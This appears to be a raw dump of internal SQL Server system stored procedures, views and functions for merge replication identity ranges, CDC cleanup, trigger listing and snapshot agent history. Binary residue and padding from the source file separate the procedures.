    declare @retcode int
    declare @qualified_tablename nvarchar(517)
    declare @qualified_trig_name nvarchar(517)
    declare @objid int

    if @source_owner is not NULL
        select @qualified_tablename = quotename(@source_owner) + '.' + quotename(@source_object)
    else 
        select @qualified_tablename = @source_object
        
    select @objid = object_id(@qualified_tablename)
    if @objid is NULL
        return 0

    select top 1 @artid = artid from dbo.sysmergearticles where objid=@objid
    if @artid is NULL
        return 1

    exec @retcode=sys.sp_MSguidtostr @artid, @guidstr out
    if @retcode <> 0 or @@error <> 0 return (1)

    -- remove disable dml trigger, if it exists
    set @triggername= 'MSmerge_disabledml_' + @guidstr
    select @qualified_trig_name = quotename(schema_name(schema_id))+'.'+quotename(@triggername)
        from sys.objects where object_id=@objid

    if object_id(@qualified_trig_name, 'TR') is not null
    begin
        set @cmd= 'drop trigger ' + @qualified_trig_name 
        exec sys.sp_executesql @cmd
        if @@error <> 0 
            return 1
    end

    return 0
0<@ 8create procedure sys.sp_cdc_get_cleanup_retention
(
	@retention bigint output,
	@threshold bigint output
)
with execute as 'dbo'
as
begin
    if (object_id('msdb.dbo.cdc_jobs') is null) or
		not exists
		(
			select *
			from msdb.dbo.cdc_jobs
			where database_id = db_id()
			and job_type = N'cleanup'
		)
	begin
		raiserror(22997, 16, -1, N'cleanup')
		return (1)
	end
    
    -- Extract retention from msdb.dbo.cdc_jobs
	select @retention = retention, @threshold = threshold
	from msdb.dbo.cdc_jobs
	where database_id = db_id()
	and job_type = N'cleanup'
	
	return 0

end
0Y@ 8create procedure sys.sp_MSenumcolumns
    @pubid uniqueidentifier,
    @artid uniqueidentifier,
    @maxschemaguidforarticle uniqueidentifier = NULL,
    @show_filtering_columns bit = 0
AS
    declare @retcode            int
    declare @procname            sysname
    declare @nickname            int

    -- security check
    if ({fn ISPALUSER(@pubid)} <> 1)
    begin
        if (@pubid is NULL)
        begin
            RAISERROR (21723, 16, -1, 'sp_MSenumcolumns')
            return 1
        end
        else
        begin
            RAISERROR (14126, 11, -1)
            return 1
        end
    end
    
    --
    -- For security: break ownership chain as
    -- we have no control over the proc name is
    --
    declare @spretcode int
            ,@spcall nvarchar(256)
    select @procname = 'dbo.' + select_proc from dbo.sysmergearticles where pubid = @pubid and artid = @artid
    select @spcall = N'exec @p1 = ' + @procname + N' @maxschemaguidforarticle = '

    if @maxschemaguidforarticle is NULL
        select @spcall = @spcall + 'NULL'
    else
        select @spcall = @spcall + '''' + convert(nvarchar(40),@maxschemaguidforarticle) +  ''''

    select @spcall = @spcall + ', @type = 6 '
    
    exec @retcode = sys.sp_executesql @stmt = @spcall
        ,@params = N'@p1 int output'
        ,@p1 = @spretcode output
    IF @@error<>0 or @retcode<>0 or @spretcode != 0 
        return 1
    
    -- SQL2000 and lower agents pass @show_filtering_columns as 0. 
    if @show_filtering_columns = 1
    begin
        select @nickname = nickname from dbo.sysmergearticles
        where pubid = @pubid 
        and artid = @artid
        
        exec @retcode = sys.sp_MSgetfilteringcolumns @pubid = @pubid, @nickname = @nickname
        if @@error <> 0 or @retcode <> 0
            return 1
    end
    
    return 0

0͘ 8 
-- add it
create view sys.dm_pdw_diag_processing_stats as
select
	pdw_node_id,
	process_id,
	target_name	collate database_default target_name,
	queue_size,
	lost_events_count
from sys._dm_pdw_diag_processing_stats
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
<
i:r0cQ =8create procedure sys.sp_helptrigger
    @tabname		nvarchar(776),		-- Table name
	@triggertype	char(6) = NULL	-- Trigger type
as

declare @objid int,        /* id of the object */
		@dbname sysname

-- Check to see that the object names are local to the current database.
select @dbname = parsename(@tabname,3)
	   ,@triggertype = UPPER (@triggertype collate Latin1_General_CI_AS)
if @dbname is null
	select @dbname = db_name()
else if @dbname <> db_name()
	begin
		raiserror(15250,-1,-1)
		return (1)
	end

select @objid = object_id from sys.objects where object_id = object_id(@tabname) and type in ('U', 'V')
if @objid is null
	begin
		raiserror(15009,-1,-1,@tabname,@dbname)
		return(1)
	end

/*	Check that input type is update, INSERT, DELETE	*/
if @triggertype  is not null and not @triggertype in ('UPDATE', 'INSERT', 'DELETE')
      begin
         raiserror(15305,-1,-1)
         return(1)
      end

select
	trigger_name = name,
	trigger_owner = user_name(ObjectProperty( object_id, 'ownerid')),
	isupdate = ObjectProperty( object_id, 'ExecIsUpdateTrigger'),
	isdelete = ObjectProperty( object_id, 'ExecIsDeleteTrigger'),
	isinsert = ObjectProperty( object_id, 'ExecIsInsertTrigger'),
	isafter = ObjectProperty( object_id, 'ExecIsAfterTrigger'),
	isinsteadof = ObjectProperty( object_id, 'ExecIsInsteadOfTrigger'),
	trigger_schema = schema_name(schema_id)
	from sys.objects
	where parent_object_id = @objid and type IN ('TR','TA')
	AND (	@triggertype is NULL
		OR	( @triggertype = 'DELETE' AND ObjectProperty( object_id, 'ExecIsDeleteTrigger') = 1 )
		OR	( @triggertype = 'INSERT' AND ObjectProperty( object_id, 'ExecIsInsertTrigger') = 1 )
		OR	( @triggertype = 'UPDATE' AND ObjectProperty( object_id, 'ExecIsUpdateTrigger') = 1 ) )

return(0)  --sp_helptrigger
0] h8Y
h>8^}0
@ p8CREATE VIEW sys.dm_os_nodes AS
	SELECT *
	FROM OpenRowSet(TABLE DM_OS_NODES)
0_ 8-- this proc will check if the local publisher's range needs to be refreshed
-- this only works for root publisher and not for re-publishers
create procedure sys.sp_MScheck_publisher_range_refresh
    @qualified_table_name nvarchar(300),
    @subid uniqueidentifier,  -- pubid of the publisher whose range is to be refreshed.
    @artid uniqueidentifier,  -- though the artid can be derived from the @qualified_object_name, we will take it as a parameter to do one less query
    @ranges_needed tinyint output
as
    declare @retcode int
    declare @pub_range_begin numeric(38,0)
    declare @pub_range_end numeric(38,0)
    declare @pub_next_range_begin numeric(38,0)
    declare @pub_next_range_end numeric(38,0)
    declare @ident_current numeric(38,0)

    if (is_member('db_owner') <> 1)
    begin
        select @ranges_needed = 0
        return 0
    end

    if (sys.fn_MSmerge_isrepublisher(@artid) = 1)
    begin
        select @ranges_needed = 0
        return 0
    end

    select @ranges_needed = 0
    select @ident_current = IDENT_CURRENT(@qualified_table_name)

    select @pub_range_begin = range_begin,
           @pub_range_end = range_end,
           @pub_next_range_begin = next_range_begin,
           @pub_next_range_end = next_range_end
        from dbo.MSmerge_identity_range where artid=@artid and is_pub_range=0 and subid = @subid
    if IDENT_INCR(@qualified_table_name)>0 
    begin
        if @ident_current >= @pub_next_range_end
        begin
            select @ranges_needed = 2
        end
        else if @ident_current >= @pub_range_end
        begin
            if @ident_current < @pub_next_range_begin
                DBCC CHECKIDENT (@qualified_table_name, RESEED, @pub_next_range_begin) with no_infomsgs
            select @ranges_needed = 1
        end
        else if @ident_current is NULL or @ident_current <= @pub_range_end
        begin
            select @ranges_needed = 0
        end
    end
    else
    begin
        if @ident_current <= @pub_next_range_end
        begin
            select @ranges_needed = 2
        end
        else if @ident_current <= @pub_range_end
        begin
            if @ident_current > @pub_next_range_begin
                DBCC CHECKIDENT (@qualified_table_name, RESEED, @pub_next_range_begin) with no_infomsgs
            select @ranges_needed = 1
        end
        else if @ident_current is NULL or @ident_current >= @pub_range_end
        begin
            select @ranges_needed = 0
        end
    end

    -- @pub_next_range_begin and @pub_next_range_end will be NULL after upgrade
    -- hence in that case we will request one range
    if @pub_next_range_begin is NULL or @pub_next_range_end is NULL
    begin
        select @ranges_needed = 1
        select @pub_next_range_begin = @pub_range_begin
        select @pub_next_range_end = @pub_range_end
        update dbo.MSmerge_identity_range 
            set next_range_begin = @pub_next_range_begin,
                next_range_end = @pub_next_range_end
            where artid=@artid and is_pub_range=0 and subid = @subid
    end
    
    return 0
    
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!u`<9M0y- I8
--
-- Name:    
--          sp_MSrepl_getsubscription_status_hsnapshot
--          
-- Description: 
--          Specialized stored procedure for heterogeneous snapshot agent to
--          determine subscription status.
--  
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Result set:  Subscription status
--      
-- Owner:   
--          sward 

create procedure sys.sp_MSrepl_getsubscription_status_hsnapshot
(
	@publication	sysname,
	@article	sysname,
	@publisher	sysname
)
AS
BEGIN
    SET NOCOUNT ON

    -- Declarations.
    DECLARE @retcode	int
    DECLARE @subscription_status int
    DECLARE @eventcount	int
    DECLARE @InsColumnList	nvarchar(200)
    DECLARE @SelectColumnList	nvarchar(200)
    DECLARE @articleid int
    DECLARE @tableid   int
    DECLARE @publicationid int

    -- Initialization
    SET @subscription_status = 0

    -- Security Check
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    -- Check if the database is published.
    IF sys.fn_MSrepl_istranpublished(DB_NAME(),1) <> 1
    BEGIN
        RAISERROR (14013, 16, -1)
        RETURN (1)
    END

    -- Parameter Check:  @publication.
    -- Check to make sure that the publication name
    -- conforms to the rules for identifiers and that the publication
    -- actually exists.  Disallow NULL.
    IF @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publication', 'sp_MSrepl_getsubscription_status_hsnapshot')
        RETURN (1)
    END

    EXECUTE @retcode = sys.sp_validname @publication

    IF @retcode <> 0
    BEGIN
        RETURN (1)
    END

    -- Parameter Check:  @article.
    -- Check to make sure that the article name conforms
    -- to the rules for identifiers and that the article
    -- actually exists.  Disallow NULL.
    IF @article IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@article', 'sp_MSrepl_getsubscription_status_hsnapshot')
        RETURN (1)
    END
    
    CREATE TABLE #dist_agent_status
	(
		status  int NULL,
		job_id 	VARBINARY(16) NULL,
	)

    INSERT INTO #dist_agent_status
    EXECUTE @retcode = sys.sp_distagentstatus @publication, @publisher

    IF @retcode <> 0
    BEGIN
        RETURN (1)
    END

    SELECT	@subscription_status =
			case
				when sub.status = 2 and das.status = 0 then 0
				else sub.status
			end,
		@articleid = art.article_id,
		@tableid   = art.table_id,
		@publicationid = art.publication_id
    FROM	master.dbo.sysservers ss,
 			master.dbo.sysservers ssub,   			
			dbo.MSpublications mpub,
			dbo.IHarticles art WITH (INDEX( idx_IHarticles_name )),
			dbo.IHsubscriptions sub WITH (INDEX( idx_IHsubscriptions_article_id )),
			#dist_agent_status das
    WHERE	UPPER(ss.srvname collate database_default) = UPPER(@publisher) collate database_default
      AND	mpub.publisher_id = ss.srvid
      AND	mpub.publication = @publication
      AND	art.publisher_id = ss.srvid
      AND	art.publication_id = mpub.publication_id
      AND	art.name = @article
      AND	sub.article_id = art.article_id
      AND	das.job_id = sub.distribution_jobid
      AND   sub.srvid = ssub.srvid

   DROP TABLE #dist_agent_status

    -- If @subscription_status IS NULL, there were no subscriptions.
    -- Return an empty result set.
    IF @subscription_status IS NULL
    BEGIN
        RETURN (0)
    END	

    IF @subscription_status <> 3
    BEGIN
        SELECT @subscription_status as [subscription status]
        RETURN (0)
    END	

    -- If the subscription status is initiated (3), we need to also check event status at the 
    -- Oracle publisher to determine whether the snapshot agent failed to post a SYNCDONE event
    -- to indicate that the snapshot completed. If no SYNCDONE event was posted but we are still
    -- in reconcilation for the article, return subscribed (1) rather than initiated to force the
    -- snapshot agent to generate a new snapshot.

    -- Define sp_ORAremotequery support table
    create table #hquery
    (
        seq	int identity(2,1),
        cmd	nvarchar(4000)
    )

    -- Define #EVENT support table
    create table #EVENT
    (
        eventcount int
    )

    -- Populate a temp table with the snapshot event information from the publisher
    SELECT @InsColumnList    = 'eventcount'
    SELECT @SelectColumnList = 'EVENTCOUNT'

    -- Query publisher for event information
    INSERT INTO #hquery(cmd) VALUES ('SELECT COUNT(*) AS EVENTCOUNT FROM HREPL_EVENT ')
    INSERT INTO #hquery(cmd) VALUES ('WHERE EVENT_ARTICLE_ID = ' + CONVERT(NVARCHAR(10),@articleid) )
    INSERT INTO #hquery(cmd) VALUES ('  AND EVENT_TABLE_ID = ' + CONVERT(NVARCHAR(10),@tableid) )
    INSERT INTO #hquery(cmd) VALUES ('  AND EVENT_PUBLICATION_ID = ' + CONVERT(NVARCHAR(10),@publicationid) )
    INSERT INTO #hquery(cmd) VALUES ('  AND EVENT_OPERATION IN (6, 11) ')
    INSERT INTO #hquery(cmd) VALUES ('  AND EVENT_POLLID = 0 ')
 
    EXEC @retcode = sp_ORAremotequery 
            @Server		= @publisher,
            @InsTable		= '#EVENT',
            @InsColumnList	= @InsColumnList,
            @SelectColumnList	= @SelectColumnList

    if @@ERROR <> 0 or @retcode <> 0
    BEGIN
        -- If event information cannot be returned from the publisher
        -- return the subscription status obtained from the distributor
        DROP TABLE #EVENT
        DROP TABLE #hquery
        SELECT @subscription_status as [subscription status]
        RETURN (0)
    END

    SET @eventcount = (SELECT eventcount from #EVENT)

    -- If the event count is 1, no SYNCDONE has been registered and the snapshot agent terminated before completion.
    -- Return a status of subscribed to the snapshot agent to force the generation of a new snapshot.
    IF @eventcount = 1
    BEGIN
        SELECT @subscription_status = 1
    END

    DROP TABLE #EVENT
    DROP TABLE #hquery

    SELECT @subscription_status as [subscription status]
    RETURN (0)  
END    	
0 P8Ih!>"E#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`+<'
o`o0vi@ w8-- this stored procedure should be called on the subscriber to setup automatic
-- identity range for aritcles that use it during the first merge.
create procedure sys.sp_MSsetup_identity_range
    @pubid uniqueidentifier,
    @artid uniqueidentifier,
    @range_type tinyint, -- 1=publisher range, 2=subscriber range
    @ranges_needed tinyint, -- 0=none needed, 1=one range needed, 2=both ranges needed
    @range_begin numeric(38,0),
    @range_end numeric(38,0),
    @next_range_begin numeric(38,0),
    @next_range_end numeric(38,0)
as
    declare @max_used numeric(38,0)
    declare @retcode int
    declare @is_pub_range bit
    declare @objid int
    declare @qualified_table_name nvarchar(517)
    declare @ident_increment numeric(38,0)
    declare @subid uniqueidentifier

    exec @retcode = sys.sp_MSreplcheck_subscribe
    if (@retcode <> 0) or (@@error <> 0)
        return 1

    if @range_type = 1
    begin
        select @is_pub_range = 1
        select @max_used = @range_begin
    end
    else
    begin
        select @is_pub_range = 0
        select @max_used = NULL
    end

    exec @retcode = sys.sp_MScheck_article_auto_identity @artid, @objid output, @qualified_table_name output
    if @retcode<>0 or @@error<>0
        return 1
        
    select @ident_increment = IDENT_INCR(@qualified_table_name)

    select @subid = NULL
    select @subid = subid from dbo.sysmergesubscriptions where pubid=@pubid and subid<>pubid and (sys.fn_MSmerge_islocalsubid(subid)=1)
    if @subid is NULL
    begin
        raiserror(14050, 16, -1)
        return 1
    end
    
    if not exists (select * from dbo.MSmerge_identity_range where subid=@subid and artid=@artid and is_pub_range=@is_pub_range)
    begin
        -- create a new entry and add the identity range constraint to the table
        insert dbo.MSmerge_identity_range values (@subid, @artid, @range_begin, @range_end, @next_range_begin, @next_range_end, @is_pub_range, @max_used)
        if @@error<> 0
            return 1

        if @range_type = 2
        begin
            exec @retcode = sys.sp_MSrefresh_idrange_check_constraint 
                                    @qualified_table_name,
                                    @artid,
                                    @range_begin,
                                    @range_end,
                                    @next_range_begin,
                                    @next_range_end
            if @@ERROR<>0 or @retcode<>0
                return 1
        end
    end
    else
    begin
        if @range_type = 2
        begin
            update dbo.MSmerge_identity_range 
                set range_begin = @range_begin, 
                    range_end = @range_end, 
                    next_range_begin = @next_range_begin, 
                    next_range_end = @next_range_end,
                    max_used = @max_used
                where subid = @subid and artid = @artid and is_pub_range = @is_pub_range
            if @@error<> 0
                return 1

            exec @retcode = sys.sp_MSrefresh_idrange_check_constraint 
                                    @qualified_table_name,
                                    @artid,
                                    @range_begin,
                                    @range_end,
                                    @next_range_begin,
                                    @next_range_end,
                                    @ranges_needed
            if @@ERROR<>0 or @retcode<>0
                return 1
        end
        else
        begin
            if @ranges_needed = 2
            begin
                update dbo.MSmerge_identity_range 
                    set range_begin = @range_begin, 
                        range_end = @range_end, 
                        next_range_begin = @next_range_begin, 
                        next_range_end = @next_range_end,
                        max_used = @max_used
                    where subid = @subid and artid = @artid and is_pub_range = @is_pub_range
                if @@error<> 0
                    return 1
            end
            else
            begin
                -- if we are getting only one new range we should not change the max_used column
                update dbo.MSmerge_identity_range 
                    set next_range_begin = @next_range_begin, 
                        next_range_end = @next_range_end
                    where subid = @subid and artid = @artid and is_pub_range = @is_pub_range
                if @@error<> 0
                    return 1
            end
        end
    end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`T<z<0 $8create function sys.fn_MSMerge_get_ranges_needed (
    @ident_increment numeric(38,0),
    @used_till_now numeric(38,0),
    @range_begin numeric(38,0),
    @range_end numeric(38,0),
    @next_range_begin numeric(38,0),
    @next_range_end numeric(38,0)
)
returns tinyint
as
begin
    declare @ranges_needed tinyint

    select @ranges_needed = 0
    
    -- the range begin would be null if this is an attached subscription
    if @range_begin is NULL or @range_end is NULL
    begin
        select @ranges_needed = 2
        goto DONE
    end

    -- next_range_begin and next_range_end would be NULL if this is after an upgrade. In Shiloh we only allocated
    -- one range. We get that one range and put it in the range_begin and range_end values on upgrade. 
    -- hence next range begin and end will be NULL right after upgrade. So if this is the case we should request for atleast one range.
    if @next_range_begin is NULL or @next_range_end is NULL
    begin
        if @used_till_now is NULL
            select @ranges_needed = 1
        else if ((@ident_increment > 0 and @used_till_now < @range_end) or
                 (@ident_increment < 0 and @used_till_now > @range_end))
            select @ranges_needed = 1
        else
            select @ranges_needed = 2
        goto DONE
    end

    if (@used_till_now is NULL) or (@used_till_now = @range_begin)
    begin
        select @ranges_needed = 0
        goto DONE
    end

    if @ident_increment > 0
    begin 
        if @used_till_now < @range_end
            select @ranges_needed = 0
        else if @used_till_now < @next_range_end
            select @ranges_needed = 1
        else 
            select @ranges_needed = 2
    end
    else
    begin
        if @used_till_now > @range_end
            select @ranges_needed = 0
        else if @used_till_now > @next_range_end
            select @ranges_needed = 1
        else 
            select @ranges_needed = 2
    end

DONE:
    return @ranges_needed
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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.sp_MSadd_snapshot_history 
(
    @agent_id int,
    @runstatus int, 
    @comments nvarchar(1000),
    @delivered_transactions int = 0,    
    @delivered_commands int = 0,        
    @log_error bit = 0,
    @perfmon_increment bit = 1,
    @update_existing_row bit = 0,
    @do_raiserror bit = 1,
    @start_time_string nvarchar(25) = null,
    @duration int = null
)
AS
BEGIN

	DECLARE @current_time datetime
			,@start_time datetime
			,@delivery_rate float
			,@error_id int
			,@retcode int
			,@idle int
			,@succeed int
			,@startup int
			,@retry int
			,@failure int
			,@inprogress int
			,@lastrow_timestamp timestamp
			,@publisher sysname
			,@publisher_db sysname
			,@publication sysname
			,@agent_name nvarchar(100)
			,@perfmon_delivery_rate int
			,@agentclassname sysname

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
	/* 
	** Status const defined in sqlrepl.h 
	*/
	select @startup = 1
			,@succeed = 2
			,@inprogress = 3
			,@idle = 4
			,@retry = 5
			,@failure = 6
			,@current_time = GETDATE()

    -- Get named information 
    select @publisher = srvname, @publisher_db = publisher_db, @publication = publication,
        @agent_name = name from master.dbo.sysservers, MSsnapshot_agents where
        id = @agent_id and
        publisher_id = srvid

    -- Update Perfmon counter
    if @perfmon_increment = 1
    begin
        if @runstatus = @startup
            dbcc incrementinstance ("SQL Replication Agents", "Running", "Snapshot", 1)
        else if (@runstatus = @succeed or @runstatus = @retry or @runstatus = @failure)
            dbcc incrementinstance ("SQL Replication Agents", "Running", "Snapshot", -1)
    end

    /* Get start_time for latest agent run */
    IF @runstatus <> 1  -- Start status
    BEGIN
        IF @start_time_string IS NULL OR @start_time_string = N''
        BEGIN
            SELECT TOP 1 @start_time = start_time, 
            		@lastrow_timestamp = timestamp
                FROM MSsnapshot_history with (rowlock)
                WHERE agent_id = @agent_id
                ORDER BY timestamp DESC
        END
        ELSE
        BEGIN
            SELECT @start_time = @start_time_string
            SELECT TOP 1 @lastrow_timestamp = timestamp
              FROM MSsnapshot_history with (rowlock)
             WHERE agent_id = @agent_id
            ORDER BY timestamp DESC
        END
    END
    ELSE
    BEGIN
        WAITFOR DELAY '000:00:01'
        SELECT @current_time = DATEADD(ms, CONVERT(INT, 1000.0 * (RAND(@@spid) + RAND() + RAND())/3.0), @current_time)
        SELECT @start_time = @current_time
    END
    /* Calculate agent run duration if an explicit duration is not specified 
       by the snapshot agent */

	IF @start_time is NULL or @start_time = N''
	BEGIN
		select @start_time = getdate()
    END
    
    IF @duration IS NULL
    BEGIN
        SELECT @duration = DATEDIFF(second, @start_time, @current_time) 
    END

    /* Calculate delivery_rate */
    IF @duration <> 0 
       SELECT @delivery_rate = (@delivered_commands * 1.0)/@duration 
    ELSE
       SELECT @delivery_rate = 0

    -- Set Perfmon counters
    if @runstatus = @idle or @runstatus = @inprogress
    begin
        dbcc addinstance ("SQL Replication Snapshot", @agent_name)
        dbcc incrementinstance ("SQL Replication Snapshot", "Snapshot:Delivered Cmds/sec", @agent_name, @delivered_commands)
		dbcc incrementinstance ("SQL Replication Snapshot", "Snapshot:Delivered Trans/sec", @agent_name, @delivered_transactions)
    end

    /* 
    ** Set error id to 0 unless the user want to log errors associate with this 
    ** history message.
    */
    SELECT @error_id = 0
